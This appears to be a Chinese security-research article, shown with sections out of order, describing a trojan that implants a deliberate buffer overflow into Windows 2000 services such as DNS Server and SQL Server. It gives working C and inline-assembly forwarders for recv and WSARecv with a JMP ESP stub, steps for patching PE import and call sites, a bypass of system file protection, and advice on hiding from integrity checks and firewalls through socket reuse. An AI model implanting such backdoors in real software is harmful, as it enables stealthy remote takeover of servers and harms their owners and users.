其實(shí)修改受SFP保護(hù)的文件又不引起這個(gè)警告框的方法非常簡(jiǎn)單,就是:同時(shí)獨(dú)占打開(kāi)這兩個(gè)備份的文件,然后再修改受系統(tǒng)保護(hù)的文件,修改
完畢之后,過(guò)一段時(shí)候再關(guān)閉獨(dú)占打開(kāi)這兩個(gè)備份的文件,這樣文件就可以被正常修改而已不會(huì)引發(fā)任何的提示。
當(dāng)然,還有很多其他的方法來(lái)達(dá)到這個(gè)目的,如修改對(duì)應(yīng)文件的校驗(yàn)標(biāo)志等,不過(guò)這種方法是最簡(jiǎn)單和有效的。
a) 演示刪除和更改WIN2K的受保護(hù)的系統(tǒng)文件的方法
2. 通用化測(cè)試
以上就是一個(gè)基本溢出植入型木馬實(shí)現(xiàn)的原形,那么我們最后用實(shí)際的測(cè)試來(lái)驗(yàn)證一下我們的這個(gè)原型是否通用和達(dá)到我們預(yù)期的目的。我們
來(lái)做2個(gè)實(shí)際應(yīng)用和服務(wù)的植入溢出的實(shí)驗(yàn)和通用這個(gè)通用化溢出實(shí)現(xiàn)我們的遠(yuǎn)程控制。
a) 演示DNS SERVER植入recv轉(zhuǎn)發(fā)的遠(yuǎn)程溢出漏洞和控制
制約條件:
??? 使用和植入溢出TEST服務(wù)一樣的SHELLCODE和客戶端
使用和植入溢出TEST服務(wù)一樣的木馬執(zhí)行程序和RECV的轉(zhuǎn)發(fā)函數(shù)
??? 唯一不同是給定的木馬執(zhí)行程序的參數(shù)(主要指明需要植入溢出的程序等信息)
1. 演示植入前發(fā)送過(guò)大包失敗
2. 演示植入后,程序在發(fā)送包已經(jīng)到達(dá)我們的轉(zhuǎn)發(fā)程序
3. 演示不影響正常的應(yīng)用
4. 演示溢出后的控制和正常的返回,服務(wù)繼續(xù)可用和可繼續(xù)溢出利用
b) WSARecv函數(shù)的轉(zhuǎn)發(fā)的溢出實(shí)現(xiàn)和演示
那么對(duì)于RECV轉(zhuǎn)發(fā)溢出大家很熟悉了,但這是否限制了我們的應(yīng)用呢?因?yàn)槎鄶?shù)的應(yīng)用是用WSARECV函數(shù)來(lái)實(shí)現(xiàn)的,其實(shí)我們先就有一個(gè)結(jié)論
是:
我們的溢出植入只對(duì)函數(shù)調(diào)用級(jí)別的通用,也就是說(shuō)無(wú)論應(yīng)用A和B運(yùn)行在不同的版本的系統(tǒng)上,只要調(diào)用了對(duì)應(yīng)的函數(shù)C,則對(duì)A和B的C函數(shù)的
溢出植入都是通用的。針對(duì)不同的函數(shù),只要這個(gè)函數(shù)形如FUN(BUF,LEN),LEN是指定BUF長(zhǎng)度的函數(shù),其實(shí)都可以被植入溢出漏洞的。
那么我們就來(lái)實(shí)現(xiàn)一下對(duì)WSARECV的溢出植入和控制,例子就是大家熟悉的SQL SERVER的SOCKET。
i. 通用的WSARECV的替換函數(shù)
int WINAPI WSARecvadd(SOCKET s,LPWSABUF buf,DWORD len,LPDWORD num,LPDWORD flags,LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE)
{
_asm{
mov eax,[esp+08H]
mov eax,[eax]
cmp eax,1000H
jg WSARecv?????????????? //判斷是否允許在空間范圍內(nèi)溢出
sub esp,119ch??????????????? //擴(kuò)展堆棧
mov eax,[esp+11a0h]???? //保護(hù)環(huán)境變量
mov [esp],eax
mov eax,[esp+119ch]
mov [esp+4],eax
mov dword ptr [esp+8],1Ch
push??? ebx??????????????? //保護(hù)積存器
push??? esi
push??? edi
mov???? ebx, [esp+11B0h]?? //保留WSABUF中長(zhǎng)度和地址的參數(shù)
mov esi, [ebx+4]
mov eax, [ebx]
add esi,eax
lea???? edi, [esp+18H] //保存WSABUF的BUF到BUF1中后內(nèi)容,避免被溢出覆蓋后不能恢復(fù)
add edi,eax
mov ecx,1194H
sub ecx,eax
mov eax,ecx
shr???? ecx, 2
repe movsd
mov???? ecx, eax
and???? ecx, 3
repe movsb
mov esi, [ebx+4]
mov edi, [ebx]
mov dword ptr [ebx],1194H? //擴(kuò)大 WSABUF長(zhǎng)度使得其能被溢出
mov???? eax, [esp+11c4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push??? eax
push ebx
mov eax, [esp+11C4h]
push eax
call??? WSARecv ?? //轉(zhuǎn)發(fā)到WSARECV
push ecx??????????????? //保存WSARECV返回的有意義的三個(gè)積存器
push eax
push edx
mov edx,[esi+1190H]? //獲得WSABUF的BUF,如果溢出這寫入的返回地址值
mov ecx,[esp+11b4h]? //獲得如果溢出,則需要恢復(fù)回去的內(nèi)容
mov [esi+1190H],ecx? //恢復(fù)到BUF中
mov ecx,[esp+1ch]??? //讀取保留的返回地址
mov [esp+11b4h],ecx? //恢復(fù)到ESP對(duì)應(yīng)的返回地址上,避免被溢出覆蓋,因先保存WSABUF的時(shí)候這個(gè)地址已
經(jīng)被覆蓋了
mov [ebx],edi?????? //寫入WSABUF正常的LEN值
test??? eax, eax???????? //檢查是否接收到包
jne???? loc_4
mov ebx,[esp+11C4H] //獲得收到包的大小
mov ecx,[ebx]
cmp???? ecx, edi??????? //檢查是否溢出
jle???? loc_4
cmp edx,0x90909090? //檢查溢出傳來(lái)的返回地址是否和我們規(guī)定的一致
jne loc_4
xor ebx,ebx
mov ecx,edi
lea???? edi, [esp+24H] //拷貝SHELLCODE到我們的BUF1,同時(shí)恢復(fù)WSABUF中其他變量被覆蓋的值,避免以后SHELLCODE
返回后導(dǎo)致異常。
loc_1:
cmp ebx,1190H
jge loc_3
cmp ebx,ecx
jge loc_2
??????? mov eax,[esi+ebx]
mov [edi+ebx],eax
add ebx,4
jmp loc_1
loc_2:
mov edx,[edi+ebx]
??????? mov eax,[esi+ebx]
mov [edi+ebx],eax
mov [esi+ebx],ebx
add ebx,4
jmp loc_1
loc_3:
mov ebx,1010101H?????????? //寫入JMP ESP的地址,1010101H會(huì)在植入時(shí)候通過(guò)計(jì)算進(jìn)行正確的替換
mov [esp+11B4H],ebx;
loc_4:
pop edx
pop eax
pop ecx
pop ??? edi
pop ??? esi
pop ebx
add esp,119cH
retn??? 1ch
}
}
ii. 重載異步IO的SOCKET的內(nèi)存置換的問(wèn)題
這個(gè)替代函數(shù)比RECV函數(shù)要復(fù)雜一些,因?yàn)檫@個(gè)SOCKET是一個(gè)重載異步IO的SOCKET的,在RECV的時(shí)候,其內(nèi)存是不允許置換的,否則這個(gè)重載
異步IO的SOCKET就會(huì)成為一個(gè)非重載異步IO的SOCKET,這樣就會(huì)影響正常的應(yīng)用。同時(shí)對(duì)執(zhí)行WSARECV后被修改的積存器的保護(hù)也非常重要。
而且返回的值不同,其引用的地址也不同。因此采用了使用原BUF但擴(kuò)大LEN導(dǎo)致溢出的方法,為了正常返回,則將其可能被溢出覆蓋的內(nèi)容
復(fù)制到BUF1上,如果真的發(fā)生溢出以后,再將溢出內(nèi)容拷貝到BUF1,把BUF1的保存內(nèi)存拷貝到被溢出的BUF上,保證程序的正常運(yùn)行。
iii. 演示SQL SERVER植入WSARecv轉(zhuǎn)發(fā)的遠(yuǎn)程溢出漏洞和控制
制約條件:
??? 使用和植入溢出TEST服務(wù)一樣的SHELLCODE和客戶端
?? 使用和植入溢出TEST服務(wù)一樣的木馬執(zhí)行程序,只修改WSARECV的轉(zhuǎn)發(fā)函數(shù)體
?? 給定的木馬執(zhí)行程序的參數(shù)(主要指明需要植入溢出的程序等信息)
1. 演示植入前發(fā)送過(guò)大包失敗
2. 演示植入后,程序在發(fā)送包已經(jīng)到達(dá)我們的轉(zhuǎn)發(fā)程序
3. 演示不影響正常的應(yīng)用
5. 演示溢出后的控制和正常的返回,服務(wù)繼續(xù)可用和可繼續(xù)溢出利用
c) 只修改內(nèi)存影象避免文件完整性檢查
最后的討論是,同樣,這樣的原理可以只利用到對(duì)只修改內(nèi)存影象來(lái)到達(dá)溢出植入的目的,這樣就可以避免文件完整性檢查,不過(guò)當(dāng)服務(wù)重啟
以后這個(gè)后門和木馬則不可利用了。
作者郵箱:flashsky@xfocus.org
站點(diǎn):??? www.xfocus.net
申明:
作者無(wú)意實(shí)現(xiàn)一個(gè)木馬,作者也不是一個(gè)木馬開(kāi)發(fā)者,只是提供一種思路:將緩沖區(qū)溢出攻擊和木馬/后門相結(jié)合的木馬實(shí)現(xiàn)手段,
通過(guò)一個(gè)簡(jiǎn)單的原型來(lái)驗(yàn)證這種思路的可行性,并展示給大家看到這種實(shí)現(xiàn)方式的很多特點(diǎn)和優(yōu)勢(shì)。也提請(qǐng)安全研究人員對(duì)這種木馬發(fā)展技術(shù)
給予較高的關(guān)注,提出查殺和避免的方法。作者提供關(guān)鍵代碼段的技術(shù)實(shí)現(xiàn)的文檔和演示來(lái)驗(yàn)證其實(shí)現(xiàn),但不提供源代碼和二進(jìn)制程序,任何
人都可以利用此文進(jìn)行自己的技術(shù)研究和代碼實(shí)現(xiàn),但是自己負(fù)擔(dān)自己開(kāi)發(fā)程序進(jìn)行非法行為的法律責(zé)任。
一:溢出植入型木馬(后門)的基本思路
1. 木馬(后門)如何有效的隱蔽的思考?
木馬和后門是在服務(wù)器端運(yùn)行,實(shí)現(xiàn)與特定工作者進(jìn)行通訊和執(zhí)行服務(wù)請(qǐng)求的一個(gè)應(yīng)用服務(wù)器程序。隱蔽則是非常重要的手段,當(dāng)前主要涉及
到的隱蔽問(wèn)題有:
? 應(yīng)用/代碼本身的隱蔽,避免事后查殺工具查出。避免文件完整性的檢查等。
? 應(yīng)用進(jìn)程執(zhí)行的隱蔽:如木馬進(jìn)程的隱蔽
? 自動(dòng)啟動(dòng)代碼相關(guān)的隱蔽:如W2K下需要修改注冊(cè)表讓自己在系統(tǒng)自動(dòng)啟動(dòng)的時(shí)候啟動(dòng),或填加到服務(wù)或驅(qū)動(dòng)當(dāng)中
? 通訊的隱蔽:如何隱蔽端口不被查出,如何饒過(guò)防火墻等問(wèn)題
當(dāng)前木馬/后門發(fā)展的趨勢(shì)是寫入到驅(qū)動(dòng)和內(nèi)核的級(jí)別。通過(guò)攔截系統(tǒng)調(diào)用的服務(wù)來(lái)達(dá)到以上幾個(gè)隱蔽的目的,如ROOTKIT等,但是這樣的木馬
/后門也存在著一些問(wèn)題:
? 代碼量多,在客戶端執(zhí)行的工作多。做的事情越多,其蛛絲馬跡必然也就會(huì)越多。而且是在主動(dòng)方式執(zhí)行的,任何時(shí)候都在予以執(zhí)行
,而不僅僅是在攻擊者與其進(jìn)行通訊的時(shí)候。
? 影響一定的性能:由于是寫入內(nèi)核和驅(qū)動(dòng)的,受影響的面比較大。
? 編寫需要高的技巧與技能。
2. 溢出植入型木馬(后門)的思路
那么針對(duì)以上問(wèn)題,我們會(huì)產(chǎn)生一個(gè)思路,就是按照這種方式來(lái)實(shí)現(xiàn)隱藏自己的木馬/后門
? 被動(dòng)工作式的木馬,最好是制造一個(gè)可以遠(yuǎn)程利用的通用漏洞,利用這個(gè)通用漏洞來(lái)實(shí)現(xiàn)控制,這樣只在與攻擊者通訊的時(shí)候才會(huì)有
一定的跡象,而且服務(wù)器端留存的代碼到最小,也就無(wú)所謂事后查殺,對(duì)系統(tǒng)的影響也非常的小。
? 特定程序的執(zhí)行代碼依賴于客戶端傳入的數(shù)據(jù),而這些代碼只存在于內(nèi)存之中。
? 特定代碼執(zhí)行的機(jī)理盡量依賴于系統(tǒng)本身的正常的機(jī)制進(jìn)行加載,和執(zhí)行
3. 溢出植入型木馬(后門)的優(yōu)勢(shì)
那么由上面的思路進(jìn)行闡發(fā),我們會(huì)想到,做植入一個(gè)漏洞的木馬,那么為什么會(huì)選植入溢出漏洞呢?原因在于:
? 溢出漏洞存在操作系統(tǒng)通用性的優(yōu)勢(shì):在很多的CPU平臺(tái)和操作系統(tǒng)平臺(tái)上,溢出都是一個(gè)普遍存在的漏洞,并且其原理都是一樣的,
這樣的木馬很容易移植。
? 溢出漏洞本身難以被檢查,具備非常好的隱秘性
? 溢出本身就可以做遠(yuǎn)程的控制,很多其他的漏洞是通過(guò)漏洞獲得權(quán)限以后還需要通過(guò)其他的方式來(lái)進(jìn)行控制。
? 溢出通過(guò)客戶端把指令以代碼的方式發(fā)送執(zhí)行來(lái)獲得控制,這些可執(zhí)行代碼數(shù)據(jù)可以根據(jù)需要進(jìn)行一定的修改,本身具備一定的靈活
性,本身的攻擊代碼不以服務(wù)器端程序的方式留存,只在執(zhí)行的時(shí)候存在于內(nèi)存堆棧中,很難尋找。
? 溢出的代碼執(zhí)行是在正常服務(wù)的內(nèi)部進(jìn)行的,很容易就實(shí)現(xiàn)了進(jìn)程的隱藏,而且注入到一個(gè)正常的應(yīng)用中,其啟動(dòng)和控制無(wú)需要其他
修改注冊(cè)表等方式。而且利用本身的端口和SOCKET很容易就能實(shí)現(xiàn)通訊的端口復(fù)用和SOCKET復(fù)用,實(shí)現(xiàn)端口隱藏和饒過(guò)防火墻。
? 溢出本身對(duì)程序的性能等影響很小。且是完全被動(dòng)方式來(lái)工作的。
? 制造一個(gè)溢出漏洞比較簡(jiǎn)單和容易實(shí)現(xiàn),即使是一個(gè)非常安全的應(yīng)用程序,制造一個(gè)溢出BUG很容易,如一個(gè)收包的代碼調(diào)用:
recv(sock,buf,xxxx,flag),只需要簡(jiǎn)單的調(diào)整XXX的大小的值就使得其存在了一個(gè)溢出的漏洞。
二:通用溢出漏洞的植入
1. 通用化溢出漏洞要解決的4個(gè)問(wèn)題
但是真正以木馬/后門方式給應(yīng)用植入一個(gè)溢出漏洞而可以被很好的被廣泛使用,必須要使得這個(gè)溢出具備通用化的問(wèn)題,主要涉及到如下幾個(gè)
方面的考慮:
? 溢出點(diǎn)定位
因?yàn)橐绯龅腂UF的長(zhǎng)度,位置和RETADDR的偏移關(guān)系對(duì)每個(gè)應(yīng)用程序都是不定的,如果針對(duì)每個(gè)應(yīng)用程序都需要手工調(diào)整這個(gè)溢出點(diǎn)的話,客戶
端就無(wú)法實(shí)現(xiàn)通用性的代碼,因此需要植入一個(gè)可溢出點(diǎn)固定的溢出漏洞。
? JMP ESP代碼提供和定位
溢出代碼通過(guò)RETADDR掌握到主動(dòng)的時(shí)候,但由于SHELLCODE在的內(nèi)存堆棧是動(dòng)態(tài)分配的,是無(wú)法準(zhǔn)確獲得其地址的,那么需要借重于JMP ESP這
樣的語(yǔ)句來(lái)實(shí)現(xiàn)跳轉(zhuǎn),有些應(yīng)用可能有這樣的語(yǔ)句,有些應(yīng)用可能又沒(méi)有這樣的語(yǔ)句,而且地址不會(huì)是一樣的,隨不同系統(tǒng)和操作系統(tǒng)的版本
也都會(huì)變化,因此需要提供一個(gè)可固定的JMP ESP代碼的地址給溢出SHELLCODE,來(lái)實(shí)現(xiàn)通用化。
? 溢出覆蓋后對(duì)變量的引用訪問(wèn)違例
溢出以后,由于溢出的BUF到RETADDR之間很可能還存在其他的變量,在溢出的RETADDR返回以前,代碼還在應(yīng)用程序的上小文中執(zhí)行,這些代碼
很可能會(huì)引用這些變量,而這些變量很可能已經(jīng)被我們的覆蓋代碼已經(jīng)修改,從而導(dǎo)致訪問(wèn)違例,導(dǎo)致程序終止或被記錄或進(jìn)行異常處理代碼
而無(wú)法執(zhí)行我們的溢出代碼并且暴露我們的行蹤。
? 溢出覆蓋后執(zhí)行代碼對(duì)溢出區(qū)的修改
溢出以后,由于溢出的BUF到RETADDR之間很可能還存在其他的變量,在溢出的RETADDR返回以前,代碼還在應(yīng)用程序的上小文中執(zhí)行,這些代碼
很可能會(huì)修改我們已經(jīng)溢出覆蓋的SHELLCODE的內(nèi)容,這樣在溢出以后就無(wú)法正確執(zhí)行我們想要執(zhí)行的SHELLCODE,一般來(lái)說(shuō)還會(huì)引起異常導(dǎo)致
進(jìn)程的意外終止和記錄,暴露我們的行蹤。
2. 實(shí)現(xiàn)植入通用化溢出漏洞的思路
那么如何有效解決以上問(wèn)題,實(shí)現(xiàn)一個(gè)可通用化利用的溢出漏洞呢?我們來(lái)展開(kāi)我們的思考:
a) 思路一:修改擴(kuò)展堆棧(對(duì)于固定EBP/ESP引用有效)
在一個(gè)函數(shù) CALL FUN的FUN執(zhí)行空間下
假設(shè)一個(gè)應(yīng)用程序的堆??臻g如下:
ESP----------》變量1到10 占有空間40個(gè)字節(jié)
??????? 可被我們溢出的BUF1占有空間400個(gè)字節(jié)
??????????? 其他的變量11到20占有空間40個(gè)字節(jié)
EBP----------》RETADDR
傳入的函數(shù)參數(shù)1到4? 占有空間16
那么在進(jìn)入FUNC執(zhí)行的時(shí)候,其生成的匯編語(yǔ)句會(huì)如下:
PUSH? EBP
MOV? EBP,ESP? (這時(shí)候的ESP指向RETADDR的地址)
SUB?? ESP,480?? (480是變量總的占有空間的數(shù))
。。。。。。。????????? (代碼執(zhí)行區(qū))
ADD?? ESP,480
PUSH? EBP
我們修改如上的匯編代碼的語(yǔ)句為:
PUSH? EBP
MOV? EBP,ESP?
SUB?? ESP,1480
。。。。。。。???????
ADD?? ESP,1480
PUSH? EBP
對(duì)應(yīng)的堆??臻g是
ESP----------》變量1到10 占有空間40個(gè)字節(jié)
??????? 可被我們溢出的BUF1占有空間400個(gè)字節(jié)
其他的變量11到20占有空間40個(gè)字節(jié)
多出的1000個(gè)字節(jié)的空間
EBP----------》RETADDR
傳入的函數(shù)參數(shù)1到4? 占有空間16
如果對(duì)參數(shù)的引用都是以EBP+XXX,對(duì)變量的引用都是以ESP+XXX的方式的話,我們會(huì)發(fā)現(xiàn)其對(duì)應(yīng)用的影響沒(méi)有,程序依然可以很好的執(zhí)行,因
為參數(shù)和變量相對(duì)ESP,EBP的位置并沒(méi)有發(fā)生變化。但是我們會(huì)發(fā)現(xiàn)如下幾個(gè)有趣的地方:
1. 只需要修改SUB,ESP,XXX,ADD ESP,XXX的地方,都在函數(shù)的頭尾地方出現(xiàn),不影響程序大小,容易尋找。
2. 如果我們可以根據(jù)已知的 XXX的大小和BUF的位置,來(lái)自動(dòng)計(jì)算和調(diào)整XXX的值,就可以實(shí)現(xiàn)溢出點(diǎn)定位的問(wèn)題,如上面的例子,需要
溢出點(diǎn)定位到1000,我們把SUB ESP,480改成 SUB ESP,1040就可以達(dá)到定位點(diǎn)是1000的目的。(多出的40是在BUF上面的變量,這和BUF的位
置有關(guān));
3. 如果增加的空間足夠大,我們可以把SHELLCODE放在多出的這個(gè)空間里,就能有效的避免SHELLCODE被后續(xù)程序執(zhí)行導(dǎo)致被修改的問(wèn)題。
4. 如果增加的空間足夠大,我們可以把SHELLCODE放在多出的這個(gè)空間里,那么對(duì)于前面的空間,由于溢出點(diǎn)位置已定,SHELLCODE不存
在被修改,因此可以對(duì)于變量10到20盡可能的有效的數(shù)據(jù)地址,來(lái)減少可能的后續(xù)代碼的執(zhí)行對(duì)其的引用導(dǎo)致的訪問(wèn)違例問(wèn)題,雖然不能完全
解決,但至少提供了很大的可能性。
這是一個(gè)很好的思路,然而現(xiàn)實(shí)是殘酷的,因?yàn)槲覀儼l(fā)現(xiàn)原先設(shè)想的一個(gè)前提在不同的編譯器選項(xiàng)下是不成立的,既
對(duì)變量的引用是ESP+XXX,對(duì)傳入?yún)?shù)的引用是EBP+XXX,不同的情況生成的匯編代碼是復(fù)雜的,既有可能對(duì)變量和傳入?yún)?shù)的引用全部是ESP+
XXX的方式,也有可能對(duì)變量和傳入?yún)?shù)的引用全部是EBP+-XXX的方式。我們只得利用這個(gè)思路繼續(xù)思考新的解決方法。
b) 思路二:植 入某個(gè)特定函數(shù)的轉(zhuǎn)發(fā)函數(shù)
那么新的想法就是,針對(duì)可以溢出的函數(shù),給他植入一個(gè)轉(zhuǎn)發(fā)的函數(shù)。也就是說(shuō)本來(lái)在一個(gè)過(guò)程中有對(duì)
recv(sock,buf,xxx,flag)的調(diào)用,把他修改成recvadd(sock,buf,xxx,flag),我們附加給應(yīng)用一個(gè)recvadd函數(shù),這個(gè)函數(shù)只是簡(jiǎn)單的對(duì)
recvadd(sock,buf1,xxx,flag)進(jìn)行轉(zhuǎn)發(fā)而已,但是其分配的內(nèi)存空間和給定的XXX是不一致的,存在溢出的漏洞,那么對(duì)這個(gè)轉(zhuǎn)發(fā)的recv進(jìn)行
溢出就可以實(shí)現(xiàn)溢出控制了。
3. 植入的通用化通用化溢出漏洞的實(shí)現(xiàn)
a) 函數(shù)轉(zhuǎn)發(fā)過(guò)程和優(yōu)勢(shì)
過(guò)程:
i. 開(kāi)辟一個(gè)新的BUF1,長(zhǎng)度固定,這樣可提供溢出點(diǎn)固定的溢出
ii. 調(diào)用recv(sock,buf1,xxx,flag)進(jìn)行收包
iii. 將buf1的內(nèi)容拷貝回BUF,這樣就不會(huì)影響正常的應(yīng)用。
優(yōu)勢(shì):
可以一舉解決可通用化利用的溢出漏洞的四個(gè)問(wèn)題。
iv. 因?yàn)樵赗ECVADD函數(shù)中運(yùn)行,BUF1的分配可以根據(jù)指定的溢出點(diǎn)進(jìn)行分配。并可保證足夠的溢出空間,使得SHELLCODE就在BUF1內(nèi)存放
而不影響EBP后面的變量
v. RECVADD中可以放置JMP ESP的變形代碼,解決JMP ESP的定位問(wèn)題
vi. RECVADD只提供BUF1,接收以后再拷貝回BUF,這樣不會(huì)涉及到問(wèn)題3和問(wèn)題4
vii. 不會(huì)影響程序的正常應(yīng)用,而且附加的函數(shù)本身功能比較簡(jiǎn)單,非常容易實(shí)現(xiàn),代碼量非常小,1,2百字節(jié)以內(nèi),而如W2K的PE文件格
式下節(jié)是以0X1000H對(duì)齊的,因此有足夠的空間加入到PE文件正常的節(jié)中而不影響其大小,其他參數(shù)的變化。
b) 制造轉(zhuǎn)發(fā)函數(shù)的通用漏洞
下面就是最初步的一個(gè)對(duì)RECV進(jìn)行轉(zhuǎn)發(fā)的函數(shù)的C代碼
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
int num;
char buf1[0x1190];
if(len>0x1000)
num = recv(s,buf,len,flags); //說(shuō)明無(wú)法通用溢出,因?yàn)橐挥绊懻?yīng)用
else
{
num = recv(s,buf1,0x11a9,flags); //擴(kuò)大到標(biāo)準(zhǔn)指定的溢出點(diǎn)上
if(num>0)?????????????????? //判斷是否收到包
{
if(num<=len) ? //判斷是否溢出,沒(méi)有則拷貝內(nèi)存
memcpy(buf,buf1,num);
else????????????????? //提供JMP ESP的地址,這個(gè)地址隨植入時(shí)候自動(dòng)計(jì)算并替換掉:1010101H
{
num=-1;
_asm{
mov eax,1010101H
mov [esp+11A4H],eax;
}
}
}
}
return num;
}
c) 可通用化的利用
i. 檢測(cè)溢出和溢出返回地址
判斷溢出很簡(jiǎn)單,只需要利用RECV的返回接收字節(jié)數(shù)字和給定的LEN進(jìn)行比較就可以,當(dāng)然也可以利用溢出地址的編碼檢查是否是自己特定的
溢出。
另外就是擴(kuò)展了足夠的BUF1以后,SHELLCODE完全就可以放在BUF1中而無(wú)需覆蓋EBP下面的內(nèi)容了,這樣就為有效的線程安全返回提供了條件。
因?yàn)橐粋€(gè)我們的SHELLCODE完成任務(wù)以后,這個(gè)溢出線程的處理是非常麻煩的,如果中斷掉,對(duì)有些應(yīng)用則會(huì)引起異常,如DNS SERVER等就不
會(huì)工作,而有些這會(huì)中斷和記錄下來(lái),最理想的方式是保存環(huán)境完全又返回到原來(lái)應(yīng)該返回點(diǎn)繼續(xù)執(zhí)行。
ii. JMP ESP代碼
我們?cè)诟郊雍瘮?shù)的尾部提供一個(gè)如下的匯編代碼的機(jī)器代碼:
SUB ESP,XXXX
JMP ESP
(當(dāng)然為了隱蔽,可以生成其他等效功能的變形代碼,如
MOV EAX,ESP,
JMP EAX)
然后在植入的時(shí)候自動(dòng)計(jì)算這個(gè)附加代碼的地址,替換掉RECVADD的程序代碼中,在運(yùn)行檢測(cè)到溢出的時(shí)候,就將這個(gè)地址替換到有效的返回
地址上,實(shí)現(xiàn)溢出的SHELLCODE的跳轉(zhuǎn)。
iii. 其他需要利用的環(huán)境變量的保護(hù)
同時(shí)考慮到如下因素,因在替代函數(shù)中提供對(duì)如下變量的保護(hù)
? SOCKET,便于SOCKET復(fù)用
? RETADDR:便于SHELLCODE完成以后,線程實(shí)現(xiàn)安全的返回
? 本函數(shù)調(diào)用傳入的參數(shù)大小,以實(shí)現(xiàn)SHELLCODE中對(duì)ESP/EBP計(jì)算安全返回
? 執(zhí)行前保存函數(shù)體外的需要保存的積存器,以實(shí)現(xiàn)安全返回
那么下面就是一個(gè)考慮了以上情況的對(duì)RECV進(jìn)行轉(zhuǎn)發(fā)函數(shù)的匯編代碼
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
_asm{
mov eax,[esp+0cH]???????????????? //檢查L(zhǎng)EN是否是大于1000H的應(yīng)用,
cmp eax,1000H??????????????????? //這樣的應(yīng)用我們按1000H做溢出點(diǎn)
jg recv???????????????????????? //可能會(huì)破壞正常的應(yīng)用
sub esp,119ch???????????????????? //擴(kuò)展堆棧到定好的溢出點(diǎn)
mov eax,[esp+11a0h]?????????? //保存SC備SHELLCODE使用
mov [esp],eax
mov eax,[esp+119ch]?????????? //保存返回地址供SHELLCODE執(zhí)行完
mov [esp+4],eax?????????????? //以后進(jìn)行返回
mov dword ptr [esp+8],10h????? //保存壓入?yún)?shù)的占用堆棧的大小
push??? esi????????????????????? //保護(hù)外圍積存器
push??? edi
push??? ecx
push??? edx
mov??? eax, [esp+11Bch]
push ?? eax
mov???? esi, [esp+11Bch]
push??? 11A9h????????????????? //替換成可溢出的值
lea???? ecx, [esp+24H]
push ecx
mov eax, [esp+11Bch]
push eax
call??? recv?????????????????? //recv轉(zhuǎn)發(fā)
test??? eax, eax
jle???? loc_2
cmp???? eax, esi????????????? //判斷是否接收到包
jle???? loc_1
mov edx,[esp+11Ach]
xor eax,eax
dec ??? eax
cmp edx,0x90909090??? //比較規(guī)定的溢出地址值
jne loc_2
mov eax,1010101H????? //提供JMP ESP的地址
mov [esp+11AcH],eax;
jmp loc_2
loc_1:??????????????????????? //BUF1的內(nèi)容拷貝回BUF
mov???? ecx, eax
mov???? edi, [esp+11B4h]
mov???? edx, ecx
lea???? esi, [esp+1cH]
shr???? ecx, 2
repe movsd
mov???? ecx, edx
and???? ecx, 3
repe movsb
loc_2:
pop edx????????? //彈出保護(hù)的外圍積存器
pop ??? ecx
pop ??? edi
pop ??? esi
add esp,119ch
retn??? 10h?????????? //如果發(fā)生溢出則會(huì)到指定的程序點(diǎn)上執(zhí)行
}
}
JMPCODE:
_asm{
sub esp.0x1400
jmp esp
}
4. 木馬(后門)的在W2K下的實(shí)現(xiàn)
我們已經(jīng)有了一個(gè)完備的轉(zhuǎn)發(fā)函數(shù)來(lái)植入通用化的溢出漏洞了,那么如何這個(gè)后門和木馬如何植入應(yīng)用呢?下面我們就來(lái)考慮這個(gè)方面的問(wèn)題
:
a) 整個(gè)植入代碼的結(jié)構(gòu)如下
[RECVADD地址] :
存放真正的RECVADD函數(shù)的地址,這樣替換對(duì)方的JMP [RECV]的[RECV]地址值為這個(gè)地址值就能達(dá)到實(shí)際的JMP [RECV]的效果
[RECVADD函數(shù)]:真正的執(zhí)行代碼區(qū)
[RECV跳轉(zhuǎn)函數(shù)]:保存真正的RECV的跳轉(zhuǎn)地址JMP [RECV]和CALL [RECV]的地址,使得程序可以轉(zhuǎn)發(fā)真正的調(diào)用
[JMP ESP代碼]:存放溢出執(zhí)行時(shí)的JMP ESP執(zhí)行代碼
b) PE文件節(jié)點(diǎn)分析和代碼的附加
? 分析節(jié)接點(diǎn)空間是否有足夠的位置放置植入的代碼
? 在導(dǎo)入代碼節(jié)和執(zhí)行代碼節(jié)的頭部里找到對(duì)應(yīng)的需要替換的函數(shù)(此例為RECV函數(shù)的地址)
1. 通過(guò)GetProcAddress獲取recv的地址,在進(jìn)程空間的導(dǎo)入代碼節(jié)里查找對(duì)應(yīng)地址的導(dǎo)入地址
? 在代碼區(qū)內(nèi)找到j(luò)mp [recv]或call [recv]的地址,記錄下來(lái)
? 停止服務(wù),以寫打開(kāi)文件
? 替換jmp [recv]或call [recv]成jmp [recvadd]或call [recvadd]
? 附加自己的代碼
c) 附加代碼的自動(dòng)計(jì)算和替換
涉及到自動(dòng)計(jì)算的地方有如下幾處
RECVADD函數(shù)本身的位置
RECV函數(shù)的真正位置的計(jì)算和替換
JMP ESP代碼的位置計(jì)算和替換
d) 調(diào)用函數(shù)分析和導(dǎo)入表的替換
存在兩種調(diào)用形式,程序需要分別分析和處理
i. JMP [FUN]的替換
進(jìn)程在調(diào)用FUN的時(shí)候,是CALL [FUN],[FUN]為JMP [FUN]的地址,這里面的 [FUN]中才為真正的FUN的導(dǎo)入表中的對(duì)應(yīng)函數(shù)的地址
這個(gè)只需要替換JMP [FUN]就可以達(dá)到對(duì)應(yīng)用的所有調(diào)用進(jìn)行替換的目的
ii. CALL [FUN]的替換
進(jìn)程在調(diào)用FUN的時(shí)候,是CALL [FUN],[FUN]為FUN的導(dǎo)入表中的對(duì)應(yīng)函數(shù)的地址
這個(gè)需要替換所有的CALL [FUN]才能達(dá)到對(duì)應(yīng)用的所有調(diào)用進(jìn)行替換的目的
三:通用的遠(yuǎn)程溢出的SHELLCODE
1. 函數(shù)定位處理
先通過(guò)對(duì)內(nèi)存的搜索獲得GetProcAddress的地址,來(lái)加載需要使用的API。這個(gè)都是屬于通用的技巧了。
2. 通用的SOCKET復(fù)用
這里討論的SOCKET復(fù)用是在W2K環(huán)境下的,針對(duì)阻塞式SOCKET情況下的。
a) SOCKET復(fù)用的意義
i. 服務(wù)器端無(wú)需開(kāi)端口,饒過(guò)端口檢查
